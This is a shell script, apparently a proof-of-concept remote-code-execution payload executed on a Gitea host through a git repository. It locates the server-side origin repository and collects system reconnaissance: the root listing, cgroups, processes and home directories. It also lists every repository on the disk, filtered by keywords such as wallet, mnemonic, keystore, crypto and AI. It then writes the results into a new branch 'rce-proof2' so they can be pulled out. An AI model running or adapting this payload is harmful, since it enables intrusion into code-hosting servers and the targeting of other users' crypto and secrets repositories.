#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin=""
if [ -f "$git_dir/objects/info/alternates" ]; then
  o=$(head -1 "$git_dir/objects/info/alternates") || o=""
  case "$o" in
    /*) origin="${o%/objects}" ;;
    *) origin="${git_dir}/objects/$o"; origin="${origin%/objects}" ;;
  esac
fi
if [ -z "$origin" ]; then
  u=$(git remote get-url origin 2>/dev/null) || u=""
  case "$u" in /*) origin="${u%.git}";; esac
fi
if [ -z "$origin" ]; then
  u=$(git config --get remote.origin.url 2>/dev/null) || u=""
  case "$u" in /*) origin="${u%.git}";; esac
fi
if [ -n "$origin" ] && [ -d "$origin/objects" ]; then
  { echo '==ROOT_LS=='
ls -la / 2>/dev/null | head -40
echo '==CGROUP=='
cat /proc/1/cgroup 2>/dev/null | head -8
echo '==PROC=='
ps aux 2>/dev/null | grep -iE 'gitea|git ' | grep -v grep | head -12
echo '==HOMES=='
ls -la /home /home/git /data /var/lib/gitea /app 2>/dev/null | head -40
echo '==REPO_DIRS=='
find / -xdev -type d -name '*.git' 2>/dev/null | grep -vE '/(proc|sys|dev|usr)/' | head -800
echo '==KW_REPOS=='
find / -xdev -type d -name '*.git' 2>/dev/null | grep -vE '/(proc|sys|dev)/' | grep -iE '(ai|gpt|llm|openai|deepseek|claude|gemini|langchain|agent|wallet|usdt|usdc|crypto|coin|bitcoin|btc|eth|ethereum|tron|trx|token|nft|defi|dex|swap|mining|exchange|mnemonic|keystore|solidity|blockchain|signer|quant|trading|arbitrage|staking|bridge|vault|payment|merchant|casino|bot|telegram)' | head -300
  } 2>&1 | git --git-dir="$origin" hash-object -w --stdin > /tmp/gpoc_blob2 2>/dev/null
  ob=$(cat /tmp/gpoc_blob2 2>/dev/null)
  [ -n "$ob" ] || exit 4
  tree=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$origin" mktree) || exit 5
  commit=$(printf "rce proof2\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin" commit-tree "$tree") || exit 6
  git --git-dir="$origin" update-ref refs/heads/rce-proof2 "$commit" || exit 7
fi
exit 0
